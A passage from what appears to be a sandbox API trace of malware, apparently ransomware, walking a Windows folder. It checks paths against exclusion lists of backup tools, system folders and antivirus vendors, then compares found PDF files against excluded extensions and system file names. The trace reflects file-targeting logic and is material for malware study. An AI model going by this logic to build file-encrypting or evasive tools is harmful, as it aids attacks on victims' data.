| out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.718] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.719] CharUpperBuffW (in: lpsz="AdobeID.pdf", cchLength=0xb | out: lpsz="ADOBEID.PDF") returned 0xb [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.720] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.720] CharUpperBuffW (in: lpsz="DefaultID.pdf", cchLength=0xd | out: lpsz="DEFAULTID.PDF") returned 0xd [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", 